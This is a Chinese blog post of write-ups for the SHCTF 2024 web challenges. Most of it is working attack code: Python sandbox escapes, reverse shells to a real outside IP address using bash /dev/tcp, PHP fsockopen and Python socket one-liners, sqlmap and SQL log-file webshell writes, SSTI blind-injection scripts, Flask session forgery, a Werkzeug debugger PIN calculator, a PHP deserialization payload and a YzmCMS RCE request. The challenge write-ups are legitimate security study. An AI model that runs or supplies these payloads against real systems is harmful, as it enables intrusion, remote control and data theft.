4119 字
21 分钟
2024SHCTF复现与题解web篇

复现#

有些题目找不到题解,暂时没放

0进制计算器 pro max python沙盒逃逸#

    def safe_executer(self, expression):    
        global audit_enabled
        output = ""
        
        def exec_code(code):
            outputIO = StringIO()
            with redirect_stdout(outputIO):
                exec(code, {
                    "__builtins__": None,
                    "print": print
                }, None)
            output = outputIO.getvalue()
            return output
            
        for var, value in self.variables.items():  
            expression = expression.replace(var, str(value))  
            
        if self.clever_checker(expression) == False:
            return("大傻春 你要干什么!")
            
        code = compile(expression, "<sandbox>", "exec")
        # 启用审计
        audit_enabled = True
        try:  
            output = exec_code(code)
        except Exception as e:  
            print(f"执行出错: {e}")  
        finally:
            # 关闭审计
            audit_enabled = False
            
        return output

多了很多过滤,直接对opcode进行了检查 思路是通过栈帧逃逸,获取到全局变量表,将以上三个字典设置为空即可 Python利用栈帧沙箱逃逸

这里也要闭合一下print

result = self.safe_executer('print(' + expression + ')')

第一步的payload

payload3 = '''1)
def orxiain():
    def scq():
        yield scq.gi_frame.f_back
    scq = scq()
    frame = [x for x in scq][0]
    frame.f_back.f_back.f_back.f_globals["dangerous_operations"] = []
    frame.f_back.f_back.f_back.f_globals["dangerous_opcodes"] = []
    frame.f_back.f_back.f_back.f_globals["dangerous_strings"] = []
orxiain()
print(0
'''

源码把builtins置空,所以命令执行也需要通过栈帧逃逸获取到沙箱外的builtins 写成这样了 python 沙箱逃逸与SSTI ~ Misaki’s Blog

payload3 = '''1)
def orxiain():
    def scq():
        yield scq.gi_frame.f_back
    scq = scq()
    frame = [x for x in scq][0]
    builtin = frame.f_back.f_back.f_back.f_globals["_"*2+"builtins"+"_"*2]
    print(builtin.__dict__['__import__']('os').system("bash -c 'sh -i >& /dev/tcp/139.159.148.68/15001 0>&1'"))
orxiain()
print(0
'''

本地开环境试了几次命令执行,发现都显示在flask的shell上了,不过成功执行

弹弹弹

还是逃逸打少了,感觉还是蛮简单的😭😭😭,比赛的最后一周没啥时间看

exp#

import requests

payload0 = ''
payload1 = ''
OneShot = "+ord('d')-ord('c')"
BaseShot = "ord('d')-ord('c')"
char_ = ''

def append_string(base, char, count):
        return base + char * count

def Transform(StringToForm):
    global payload0, payload1, char_
    for char in StringToForm:
        payload0 = append_string(BaseShot, OneShot, ord(char)-1)
        payload1 = payload1 + "+" +"chr(" + payload0 + ")"
        num = eval(payload0)
        char_ += chr(num)
        # print(char_)
    return payload1[1::]

# payload3 = 'print(globals())'
# payload3 = 'curl ip:15001'
# payload3 = '''
# __import__('os').system("bash -c 'sh -i >& /dev/tcp/139.159.148.68/15001 0>&1'")
# '''

# payload3 = '''1)
# def orxiain():
#     def scq():
#         yield scq.gi_frame.f_back
#     scq = scq()
#     frame = [x for x in scq][0]
#     frame.f_back.f_back.f_back.f_globals["dangerous_operations"] = []
#     frame.f_back.f_back.f_back.f_globals["dangerous_opcodes"] = []
#     frame.f_back.f_back.f_back.f_globals["dangerous_strings"] = []
# orxiain()
# print(0
# '''

payload3 = '''1)
def orxiain():
    def scq():
        yield scq.gi_frame.f_back
    scq = scq()
    frame = [x for x in scq][0]
    builtin = frame.f_back.f_back.f_back.f_globals["_"*2+"builtins"+"_"*2]
    print(builtin.__dict__['__import__']('os').system("bash -c 'sh -i >& /dev/tcp/ip/15001 0>&1'"))
orxiain()
print(0
'''

url = "http://210.44.150.15:33258/execute"
    #   'code': "c=" + Transform(payload3) + ";cdhor(c);"
data = {
        # 'code': "cdhor(" + Transform(payload3) + ");"
          'code': "c=" + Transform(payload3) + ";cdhor(c);"
}
headers = {
      "Content-Type": "application/json",
      "Host": "210.44.150.15:33258"
}
response = requests.post(url, json=data, headers=headers)

print(f"[+] Content : {response.text}")
# print(eval(Transform(payload3)))

可恶的骗子 SQL日志写入#

拼接图像的url,用插件改UA 单引号报错,sql注入属于是

sqlmap嗦下

sqlmap -u http://210.44.150.15:23788/Xianyu_goods/index.php\?ClickID\=1 --user-agent="Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16" -dbs

获取到数据库

sqlmap -u http://210.44.150.15:23788/Xianyu_goods/index.php\?ClickID\=1 --user-agent="Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16" -D root -T admin_user --dump

使用 root / shctf_xianyu_password登录

不能直接写马,尝试用日志写

Set global general_log = on;
Set global general_log_file = '/var/www/html/Xianyu_goods/go.php';
select '<?php system("cat /flag"); ?>

之后访问go即可

MD5 GOD! 哈希长度扩展攻击#

/user路由可以获取所有用户,并返回签状态,当所有用户签到完成时即可拿到flag

关键时登录的这个

def check_sign(sign, username, msg, salt):
    if sign == md5(salt + msg + username):
        return True
    return False

shellfeel/hash-ext-attack: 哈希长度扩展攻击利用脚本,免去了hashpump需要编译的烦恼

官exp

import hashlib  
import math  
from typing import Any, Dict, List  
  
rotate_amounts = [7, 12, 17, 22, 7, 12, 17, 22, 7, 12, 17, 22, 7, 12, 17, 22,  
5, 9, 14, 20, 5, 9, 14, 20, 5, 9, 14, 20, 5, 9, 14, 20,  
4, 11, 16, 23, 4, 11, 16, 23, 4, 11, 16, 23, 4, 11, 16, 23,  
6, 10, 15, 21, 6, 10, 15, 21, 6, 10, 15, 21, 6, 10, 15, 21]  
  
constants = [int(abs(math.sin(i + 1)) * 2 ** 32) & 0xFFFFFFFF for i in range(64)]  
  
functions = 16 * [lambda b, c, d: (b & c) | (~b & d)] + \  
16 * [lambda b, c, d: (d & b) | (~d & c)] + \  
16 * [lambda b, c, d: b ^ c ^ d] + \  
16 * [lambda b, c, d: c ^ (b | ~d)]  
  
index_functions = 16 * [lambda i: i] + \  
16 * [lambda i: (5 * i + 1) % 16] + \  
16 * [lambda i: (3 * i + 5) % 16] + \  
16 * [lambda i: (7 * i) % 16]  
  
  
def get_init_values(A: int = 0x67452301, B: int = 0xefcdab89, C: int = 0x98badcfe, D: int = 0x10325476) -> List[int]:  
return [A, B, C, D]  
  
  
def left_rotate(x, amount):  
x &= 0xFFFFFFFF  
return ((x << amount) | (x >> (32 - amount))) & 0xFFFFFFFF  
  
  
def padding_message(msg: bytes) -> bytes:  
"""  
在MD5算法中,首先需要对输入信息进行填充,使其位长对512求余的结果等于448,并且填充必须进行,即使其位长对512求余的结果等于448。  
因此,信息的位长(Bits Length)将被扩展至N*512+448,N为一个非负整数,N可以是零。  
填充的方法如下:  
1) 在信息的后面填充一个1和无数个0,直到满足上面的条件时才停止用0对信息的填充。  
2) 在这个结果后面附加一个以64位二进制表示的填充前信息长度(单位为Bit),如果二进制表示的填充前信息长度超过64位,则取低64位。  
经过这两步的处理,信息的位长=N*512+448+64=(N+1)*512,即长度恰好是512的整数倍。这样做的原因是为满足后面处理中对信息长度的要求。  
"""  
orig_len_in_bits = (8 * len(msg)) & 0xffffffffffffffff  
msg += bytes([0x80])  
while len(msg) % 64 != 56:  
msg += bytes([0x00])  
msg += orig_len_in_bits.to_bytes(8, byteorder='little')  
return msg  
  
  
def md5(message: bytes, A: int = 0x67452301, B: int = 0xefcdab89, C: int = 0x98badcfe, D: int = 0x10325476) -> int:  
message = padding_message(message)  
hash_pieces = get_init_values(A, B, C, D)[:]  
for chunk_ofst in range(0, len(message), 64):  
a, b, c, d = hash_pieces  
chunk = message[chunk_ofst:chunk_ofst + 64]  
for i in range(64):  
f = functions[i](b, c, d)  
g = index_functions[i](i)  
to_rotate = a + f + constants[i] + int.from_bytes(chunk[4 * g:4 * g + 4], byteorder='little')  
new_b = (b + left_rotate(to_rotate, rotate_amounts[i])) & 0xFFFFFFFF  
a, b, c, d = d, new_b, b, c  
for i, val in enumerate([a, b, c, d]):  
hash_pieces[i] += val  
hash_pieces[i] &= 0xFFFFFFFF  
  
return sum(x << (32 * i) for i, x in enumerate(hash_pieces))  
  
  
def md5_to_hex(digest: int) -> str:  
raw = digest.to_bytes(16, byteorder='little')  
return '{:032x}'.format(int.from_bytes(raw, byteorder='big'))  
  
  
def get_md5(message: bytes, A: int = 0x67452301, B: int = 0xefcdab89, C: int = 0x98badcfe, D: int = 0x10325476) -> str:  
return md5_to_hex(md5(message, A, B, C, D))  
  
  
def md5_attack(message: bytes, A: int = 0x67452301, B: int = 0xefcdab89, C: int = 0x98badcfe,  
D: int = 0x10325476) -> int:  
hash_pieces = get_init_values(A, B, C, D)[:]  
for chunk_ofst in range(0, len(message), 64):  
a, b, c, d = hash_pieces  
chunk = message[chunk_ofst:chunk_ofst + 64]  
for i in range(64):  
f = functions[i](b, c, d)  
g = index_functions[i](i)  
to_rotate = a + f + constants[i] + int.from_bytes(chunk[4 * g:4 * g + 4], byteorder='little')  
new_b = (b + left_rotate(to_rotate, rotate_amounts[i])) & 0xFFFFFFFF  
a, b, c, d = d, new_b, b, c  
for i, val in enumerate([a, b, c, d]):  
hash_pieces[i] += val  
hash_pieces[i] &= 0xFFFFFFFF  
  
return sum(x << (32 * i) for i, x in enumerate(hash_pieces))  
  
  
def get_init_values_from_hash_str(real_hash: str) -> List[int]:  
"""  
  
Args:  
real_hash: 真实的hash结算结果  
  
Returns: 哈希初始化值[A, B, C, D]  
  
"""  
str_list: List[str] = [real_hash[i * 8:(i + 1) * 8] for i in range(4)]  
# 先按照小端字节序将十六进制字符串转换成整数,然后按照大端字节序重新读取这个数字  
return [int.from_bytes(int('0x' + s, 16).to_bytes(4, byteorder='little'), byteorder='big') for s in str_list]  
  
  
def get_md5_attack_materials(origin_msg: bytes, key_len: int, real_hash: str, append_data: bytes) -> Dict[str, Any]:  
"""  
  
Args:  
origin_msg: 原始的消息字节流  
key_len: 原始密钥(盐)的长度  
real_hash: 计算出的真实的hash值  
append_data: 需要添加的攻击数据  
  
Returns: 发起攻击需要的物料信息  
{  
'attack_fake_msg': bytes([...]),  
'attack_hash_value': str(a1b2c3d4...)  
}  
  
"""  
init_values = get_init_values_from_hash_str(real_hash)  
# print(['{:08x}'.format(x) for x in init_values])  
# 只知道key的长度,不知道key的具体内容时,任意填充key的内容  
fake_key: bytes = bytes([0xff for _ in range(key_len)])  
# 计算出加了append_data后的真实填充数据  
finally_padded_attack_data = padding_message(padding_message(fake_key + origin_msg) + append_data)  
# 攻击者提前计算添加了攻击数据的哈希  
attack_hash_value = md5_to_hex(md5_attack(finally_padded_attack_data[len(padding_message(fake_key + origin_msg)):],  
A=init_values[0],  
B=init_values[1],  
C=init_values[2],  
D=init_values[3]))  
fake_padding_data = padding_message(fake_key + origin_msg)[len(fake_key + origin_msg):]  
attack_fake_msg = origin_msg + fake_padding_data + append_data  
return {'attack_fake_msg': attack_fake_msg, 'attack_hash_value': attack_hash_value}  
  
  
  
from flask.sessions import SecureCookieSessionInterface  
import requests, json, time  
  
class MockApp(object):  
def __init__(self, secret_key):  
self.secret_key = secret_key  
  
  
def session_decode(session_cookie_value, secret_key):  
""" Decode a Flask cookie """  
app = MockApp(secret_key)  
si = SecureCookieSessionInterface()  
s = si.get_signing_serializer(app)  
return s.loads(session_cookie_value)  
  
  
def session_encode(session_cookie_structure, secret_key):  
""" Encode a Flask session cookie """  
try:  
app = MockApp(secret_key)  
# session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))  
si = SecureCookieSessionInterface()  
s = si.get_signing_serializer(app)  
return s.dumps(session_cookie_structure)  
except Exception as e:  
return "[Encoding error] {}".format(e)  
  
  
def req_index(url, cookie):  
# headers = {"Cookie": "session=" + cookie}  
cookies = {"session":cookie}  
r = requests.get(url, cookies=cookies).text  
# print(r)  
if '签到成功' not in r:  
# print(cookie)  
time.sleep(1)  
req_index(url, cookie)  
# print(r)  
  
def req_user(url):  
return json.loads(requests.get(url).text)  
  
def req_login(url):  
data = {"username":"student", "password":"student"}  
cookie = requests.post(url, data).headers["Set-Cookie"][8:].split(';')[0]  
# print(cookie)  
return cookie  
  
def hash_Attack(md5_value, key_len, data, attack_data):  
attack_materials = get_md5_attack_materials(data, key_len, md5_value.decode(), attack_data)  
# print(data)  
res = {"username":attack_data, "msg":attack_materials['attack_fake_msg'][:-len(attack_data)], "sign":attack_materials['attack_hash_value'].encode()}  
return res  
  
  
if __name__ == '__main__':  
url = "http://210.44.150.15:47666/"  
cookie = req_login(url+'login')  
users = req_user(url+'users')  
secret_key = "Th1s_is_5ecr3t_k3y"  
res = session_decode(cookie, secret_key)  
for user in users:  
if users[user] == 0:  
res = hash_Attack(res["sign"], 16, res["msg"]+res["username"], user.encode())  
res2 = session_encode(res, secret_key)  
# time.sleep(1)  
r = req_index(url, res2)

其它的题解#

因为都比较签到所以放在后面了

单身十八年的手速#

要点按钮 用控制台获取到按钮,并用for循环达到重复请求的效果

var button = document.getElementById('myButton');
for (var i = 0; i < 520; i++) {
    button.click();
    setTimeout(function() {
    }, 100); 
}

1zflask#

提示robots.txt召见app.py源码

@app.route('/api')
def api():
    cmd = request.args.get('SSHCTFF', 'ls /')
    result = os.popen(cmd).read()
    return result

ez_gittt#

扫目录发现.git泄露
Githack下载到本地审计
查看git log

发现有Add_flag的版本,用git reset切换版本

git cat-file读取flag文件
通过git ls-files --stage | grep flag读取flag文件哈希值
git cat-file -p 6398e2b2ee205a45c1a4aed6cc6fb88a78f14cf0读取

ai#

好多比赛都有这种

第一个{}中的字符利用正则进行匹配,帮帮主人吧,比如是这样 text=“shctf{

蛐蛐?蛐蛐#


审计源码

strrev用%00绕过
post方法的ququ用;闭合后绕过

jvav#

发现没有任何过滤
生成反弹shell

public class demo {
    public static void main(String[] args) {
        Process p;
        try {
            p = Runtime.getRuntime().exec("bash -c $@|bash 0 echo bash -i >& /dev/tcp/ipipipip/15001 0>&1");
            p.waitFor();
            p.destroy();
        } catch (Exception e) {}
    }
}

[[Media/7b26f551067e9c7eb42526a6ddf3d544_MD5.jpeg|Open: QQ_1727888275012.png]]

poppopop#

简单的pop链
SHCTF.__invoke() <- C.flag() -< F.__toString() <- T.__destruct()
读取目录

http://entry.shc.tf:29983?data=TzoxOiJUIjoxOntzOjE6Im4iO086MToiRiI6MTp7czoxOiJvIjtPOjE6IkMiOjE6e3M6MToicCI7Tzo1OiJTSENURiI6Mjp7czo1OiJpc3lvdSI7czo2OiJzeXN0ZW0iO3M6NDoiZmxhZyI7czo0OiJscyAvIjt9fX19

读flag

http://entry.shc.tf:29983?data=TzoxOiJUIjoxOntzOjE6Im4iO086MToiRiI6MTp7czoxOiJvIjtPOjE6IkMiOjE6e3M6MToicCI7Tzo1OiJTSENURiI6Mjp7czo1OiJpc3lvdSI7czo2OiJzeXN0ZW0iO3M6NDoiZmxhZyI7czoxMToiY2F0IC9mbGxsYWciO319fX0=

完整代码

<?php
class SH {

    public static $Web = true;
    public static $SHCTF = true;
}
class C {
    public $p;

    public function flag()
    {
        ($this->p)();
    }
}
class T{

    public $n;
    public function __destruct()
    {

        SH::$Web = true;
        echo $this->n;
    }
}
class F {
    public $o;
    public function __toString()
    {
        SH::$SHCTF = true;
        $this->o->flag();
        return "其实。。。。,";
    }
}
class SHCTF {
    public $isyou;
    public $flag;
    public function __invoke()
    {
        if (SH::$Web) {

            ($this->isyou)($this->flag);
            echo "小丑竟是我自己呜呜呜~";
        } else {
            echo "小丑别看了!";
        }
    }
}
if (isset($_GET['data'])) {
    // highlight_file(__FILE__);
    unserialize(base64_decode($_GET['data']));
} else {
    // highlight_file(__FILE__);
    // echo "小丑离我远点!!!";
}
//SHCTF.__invoke() <- C.flag() -< F.__toString() <- T.__destruct()

$aaa = new T();
$aaa->n = new F();
$aaa->n->o = new C();
$aaa->n->o->p = new SHCTF();
$aaa->n->o->p->isyou='system';
$aaa->n->o->p->flag="cat /flllag";

echo base64_encode(serialize($aaa));
echo "\n";

拜师之旅①#

这里png的文件头没有加,加上

宽高也被改了

修改一下 ]]
好可爱!!

MD5 Master#

参考 https://blog.csdn.net/shuaicenglou3032/article/details/118197904 生成url编码过后的二进制文本 然后用php读取二进制并url编码输出出来 发包复制字符串时不要额外复制%21就是!

<?php 
function readmyfile($path){
 $fh = fopen($path, "rb");
 $data = fread($fh, filesize($path));
 fclose($fh);
 return $data;
}
$a = urlencode(readmyfile("H:\\tOOLS\哈希碰撞\\fastcoll_v1.0.0.5.exe\\a_msg1.txt"));
$b = urlencode(readmyfile("H:\\tOOLS\哈希碰撞\\fastcoll_v1.0.0.5.exe\\a_msg2.txt"));
if(md5((string)urldecode($a))===md5((string)urldecode($b))){
echo "[*] a = ".$a."\n";
}
if(urldecode($a)!=urldecode($b)){
echo "[*] b = ".$b;
}

[Week2]guess_the_number#

源码提示在http://210.44.150.15:26405/s0urce获得源码

下载审计,发现

范围算小,因为已知第一个随机数,所以可以爆破种子,脚本:

import random

def find_seed(first_num, seed_min, seed_max):
    for seed in range(seed_min, seed_max + 1):
        random.seed(seed)
        generated_first_num = random.randint(1000000000, 9999999999)
        if generated_first_num == first_num:
            return seed
    return None

known_first_num = 3039690326

seed_min = 1000000
seed_max = 9999999

seed = find_seed(known_first_num, seed_min, seed_max)

if seed is not None:
    print(f"找到匹配的种子: {seed}")
else:
    print("未找到匹配的种子")

得到找到匹配的种子: 7795234

import random


global seed, first_num, second_num
# seed = random.randint(1000000,9999999)
seed = 7795234
random.seed(seed)
first_num = random.randint(1000000000,9999999999)
second_num = random.randint(1000000000,9999999999)

print ("FIRST:"+str(first_num)+"\n")
print ("FIRST:"+str(second_num)+"\n")

得到第二个随机数

[Week2]自助查询#

判断回显

读取数据库

1") union select 1,group_concat(table_name)from information_schema.tables where table_schema=database()#

爆表

1") union select 1,group_concat(column_name)from information_schema.columns where table_name='flag'#

读字段,被耍了😭😭😭😭😭 注释?哪儿有,找不见,尝试sql写入文件

写个phpinfo看看

1") union select 1,"\<?php phpinfo()\;>" into dumpfile "/var/www/html/or4.php"#

在phpinfo里找到flag

SHCTF{s3lf_s3RVlcE_Se4rcH_674311b4aac1}

[Week2]入侵者禁入#

发现有源码,是个flask,目测flask session伪造,而且源码中给了app.secret_key = '0day_joker' 尝试伪造

eyJyb2xlIjp7ImZsYWciOiJhZG1pbiIsImlzX2FkbWluIjoxfX0.Zwo9rA.Xv55fHJh5ek0FMKF_Hq1aGwp66U

得到

接下来是如何获得flag,发现判断用户身份后会渲染render_template_string(message),大概存在SSTI

修改成

@app.route('/')
def index():
    message = request.args.get('message', 'Default message')
    return render_template_string(message)

雀氏存在{{7*7}}返回49

python flask_session_cookie_manager3.py encode -s '0day_joker' -t "{\"role\"

:{\"flag\":\"{{g.pop.__globals__.__builtins__.__import__('os').popen('cat /f*').read()}}\",\"is_admin\":1}}"

获得

session=.eJwlikEKwyAQAL9S9qIJJSFXP7NsGpWFjStqT-Lfa8ltZpgORcWD6xCEIjjoPW5Z84YYRU-Sijj5_LI0To_wnbU0RGu0muV_-2TNh9prD-sMxdNllzHgDVyRrpsTuGOMHw3CJP
k.ZwpkeA.RCyeFepjuG-CgIoiWuZK44qe4h0

[Week2]登录验证#

题目提示爆破 用hashcat开干

.\hashcat.exe -a 0 -m 16500 "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3Mjg3OTYxOTI

sImlhdCI6MTcyODc4ODk5MiwibmJmIjoxNzI4Nzg4OTkyLCJyb2xlIjoidXNlciJ9.4idcHiZGgfH-PUA6S_yDvLjGVt6yrfwXlVyzQ7YwqoI" "H:\\tOOL

S\\jwt_tool\\password.txt"

得到222333 伪造admin

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE4Mjg5MDc2NDMsImlhdCI6MTcyODkwMDQ0MywibmJmIjoxNzI4OTAwNDQzLCJyb2xlIjoiYWRtaW4ifQ.10_dG9d0z5bqQSPGPMV9aWhN1nlYJ0-Qcm3s_0sluQk

密码这里卡好久,最后才发现是弱密码()()

小小cms#

下载了源码得到默认账号密码yzmcms / yzmcms 看了一圈没什么有用的 直接搜漏送,发现支付模块有个rce curl了一下发现能出网,直接反弹shell

POST /pay/index/pay_callback HTTP/1.1
Host: 210.44.150.15:29469
Cookie: ;XDEBUG_SESSION=19079
Content-Type: application/x-www-form-urlencoded
Content-Length: 60

out_trade_no[0]=eq&out_trade_no[1]=php+-r+%27%24sock%3Dfsockopen%28%22139.159.148.68%22%2C15001%29%3Bshell_exec%28%22sh+%3C%263+%3E%263+2%3E%263%22%29%3B%27&out_trade_no[2]=exec

love_flask#

SSTI时间盲注,给了源码 脚本走起

首先找到可用的模块

import requests
import time
from urllib.parse import quote
# 转义符 \ 用于解决双引号 "" 闭合问题
PAYLOAD_LAST = ".__init__.__globals__['__builtins__']['eval']('__import__(\"time\").sleep(3)')}}"
# url = input("请输入 URL:")
url = "http://210.44.150.15:30952/namelist"
# url = 'http://127.0.0.1:5000/namelist'
# POST 参数可以抓包或查看源代码
# request_parameter = input("请输入 POST 请求参数:")
request_parameter = "name"

can = []

for i in range(500):
    # 发送请求并记录开始时间
    start_time = time.time()
    data = {request_parameter: " {{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']['eval']('__import__(\"time\").sleep(3)')}} "}

    payload = "{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']['eval']('__import__(\"time\").sleep(3)')}}"


    # post data 也可以改成这样,原因见{{}}过滤的绕过方法
    # {"name":"{%print(().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']['eval']('__import__(\"time\").sleep(3)'))%}"}
    payload = "?"+request_parameter+"="+quote(payload)
    url2 = url + payload
    response = requests.get(url2)
    end_time = time.time()
    # 计算响应时间
    response_time = end_time - start_time
    # 如果响应时间大于 3s ,则绿色字体输出在控制台
    print (url2)
    if response_time >= 3:
        print("\033[32m bingo: "+str(i)+"\033[0m",end="\t")
        can.append(i)
    # 如果响应时间小于 3s ,则红色字体输出在控制台,一般建议注释掉错误输出,因为这会降低爆破速度
    else:
        print("\033[31mnonono: "+str(i)+"\033[0m",end="\t")

print(can)

获取flag长度

import requests
import time
from urllib.parse import quote
# url = input("请输入 URL:")
url = "http://210.44.150.15:30952/namelist"
# request_parameter = input("请输入 POST 请求参数:")
request_parameter = "name"

for len in range(1, 60):
    start_time = time.time()
    data = { request_parameter:"{%set flag=().__class__.__base__.__subclasses__()[281].__init__.__globals__['__builtins__']['eval']('__import__(\"os\").popen(\"cat flag\").read()')%}{% set l=flag|length %}{%if l=="+str(len)+"%}{{().__class__.__base__.__subclasses__()[66].__init__.__globals__['__builtins__']['eval']('__import__(\"time\").sleep(3)')}}{%endif%}" }

    data2 = "{%set flag=().__class__.__base__.__subclasses__()[281].__init__.__globals__['__builtins__']['eval']('__import__(\"os\").popen(\"cat /f*\").read()')%}{% set l=flag|length %}{%if l=="+str(len)+"%}{{().__class__.__base__.__subclasses__()[281].__init__.__globals__['__builtins__']['eval']('__import__(\"time\").sleep(3)')}}{%endif%}"

    url2 = url + "?" + request_parameter + "=" + quote(data2)
    response = requests.get(url2)
    print(response.text)
    end_time = time.time()
    # 计算响应时间
    response_time = end_time - start_time
    if response_time >= 3:
        print("\033[32m" + str(len) + "\033[0m",end="\t")
    else:
        print("\033[31m" + str(len) + "\033[0m", end="\t")

    # {{g.pop.__globals__.__builtins__.__import__('os').popen('').read()}}

爆破flag

from urllib.parse import quote
import requests
import time
# url = input("请输入 URL:")
url = "http://210.44.150.15:40707/namelist"
# request_parameter = input("请输入 POST 请求参数:")
request_parameter = "name"
cs = " !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~"
flag = ""
# range() 参数为 脚本2 得到的 flag 长度
for i in range(45):
    low = 0
    high = len(cs)
    while low<high:
        index = low + (high - low) // 2
        start_time = time.time()
        # request_parameter 为 post 传入数据的参数名,根据实际情况输入
        data = { request_parameter:"{%set flag=().__class__.__base__.__subclasses__()[66].__init__.__globals__['__builtins__']['eval']('__import__(\"os\").popen(\"cat flag\").read()')%}{%if flag["+str(i)+"]=='"+cs[index]+"'%}{{().__class__.__base__.__subclasses__()[66].__init__.__globals__['__builtins__']['eval']('__import__(\"time\").sleep(2)')}}{%elif flag["+str(i)+"]>'"+cs[index]+"'%}{{().__class__.__base__.__subclasses__()[66].__init__.__globals__['__builtins__']['eval']('__import__(\"time\").sleep(4)')}}{%endif%}" }

        payload = "{%set flag=().__class__.__base__.__subclasses__()[281].__init__.__globals__['__builtins__']['eval']('__import__(\"os\").popen(\"cat /flag\").read()')%}{%if flag["+str(i)+"]=='"+cs[index]+"'%}{{().__class__.__base__.__subclasses__()[281].__init__.__globals__['__builtins__']['eval']('__import__(\"time\").sleep(2)')}}{%elif flag["+str(i)+"]>'"+cs[index]+"'%}{{().__class__.__base__.__subclasses__()[281].__init__.__globals__['__builtins__']['eval']('__import__(\"time\").sleep(4)')}}{%endif%}"
        url2 = url + "?"+request_parameter+"="+quote(payload)

        response = requests.get(url2)
        print(response.text)
        end_time = time.time()
        # 计算响应时间
        response_time = end_time - start_time
        if response_time >=2 and response_time<=4:
            flag+=cs[index]
            print(cs[index],end='\t')
            low = high
        elif response_time>4:
            low = index+1
        else:
            high = index
print("\n"+flag)

#

随便输入什么得到报错

发现app.py目录泄露,可以尝试计算pin 访问/console路由报了400错误 查看官方文档 发现对可信任主机名做了限制 所以修改host进行请求 本地起一个flask服务查看pin码认证地址 命令执行:

现在可以尝试计算pin:

import hashlib
from itertools import chain
 
probably_public_bits = [
    'root'  # /etc/passwd
    'flask.app',  # 默认值
    'Flask',  # 默认值
    '/usr/local/lib/python3.10/site-packages/flask/app.py'  # 报错得到
]
 
private_bits = [
    '2328382751756',  # /sys/class/net/eth0/address 十进制
  # 'e2a9f272-7959-44cc-86ce-6cfd758857a79cc8dd5d2f15676d3d6cd3ded677d17ebb07421391e4ffe0d22b5daab56494fa'
    'd45a88e1-3fe4-4156-9e59-3864587b7c87'
    # 字符串合并:1./etc/machine-id(docker不用看) /proc/sys/kernel/random/boot_id,有boot-id那就拼接boot-id 2. /proc/self/cgroup
]
 
# 下面为源码里面抄的,不需要修改
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')
 
cookie_name = '__wzd' + h.hexdigest()[:20]
 
num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]
 
rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num
 
print(rv)

得到115-134-478 得到cookie: 反弹shell:

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("139.159.148.68",15001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")

拿到shell

hacked_website#

有登录界面 找马的同时跑个弱密码 得到qwer1234 发现可以修改模板??? 朴实无华的一句话 SHCTF{7df69b38-32cf-45e7-b640-6fd718a940a7}

0进制计算器#

允许的字符allow_chr = '0cdhor+-*/=()"\'; ' 很快啊!发现可以组chr和ord这两个函数 又发现用cdhor包住的话就可以输出内容

可以通过这个eval实现命令执行 反正有源码,发现执行命令的地方,接下来就是使用chr搭配ord来组合payload 还需要解释的是这里赋值的时候值会到eval函数里,以此实现命令执行 这里d-c获得1,然后重复payload一个字符次数的加加加到指定字符来实现绕过

import requests

payload0 = ''
payload1 = ''
OneShot = "+ord('d')-ord('c')"
BaseShot = "ord('d')-ord('c')"
char_ = ''

def append_string(base, char, count):
        return base + char * count

def Transform(StringToForm):
    global payload0, payload1, char_
    for char in StringToForm:
        payload0 = append_string(BaseShot, OneShot, ord(char)-1)
        payload1 = payload1 + "+" +"chr(" + payload0 + ")"
        num = eval(payload0)
        char_ += chr(num)
        # print(char_)
    return payload1[1::]

# payload3 = 'print(globals())'
# payload3 = 'curl 139.159.148.68:15001'
payload3 = '''
__import__('os').system("bash -c 'sh -i >& /dev/tcp/139.159.148.68/15001 0>&1'")
'''
url = "http://210.44.150.15:33494/execute"
    #   'code': "c=" + Transform(payload3) + ";cdhor(c);"
data = {
        # 'code': "cdhor(" + Transform(payload3) + ");"
          'code': "c=" + Transform(payload3) + ";cdhor(c);"
}
headers = {
      "Content-Type": "application/json",
      "Host": "210.44.150.15:33494"
}
response = requests.post(url, json=data, headers=headers)

print(f"[+] Content : {response.text}")
# print(eval(Transform(payload3)))

搞了好久反弹shell,很抽象的成功了

2024SHCTF复现与题解web篇
http://orxiain.life/posts/shctf2024/
作者
𝚘𝚛𝚡𝚒𝚊𝚒𝚗.
发布于
2024-11-18
许可协议
CC BY-NC-SA 4.0